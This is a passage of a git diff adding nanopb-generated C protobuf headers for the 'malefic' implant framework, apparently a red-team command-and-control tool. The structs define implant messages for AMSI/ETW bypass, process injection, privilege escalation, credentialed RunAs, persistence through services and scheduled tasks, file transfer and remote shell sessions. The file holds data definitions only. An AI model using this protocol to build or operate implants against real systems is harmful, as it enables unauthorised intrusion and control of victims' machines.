malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct _malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; +typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, 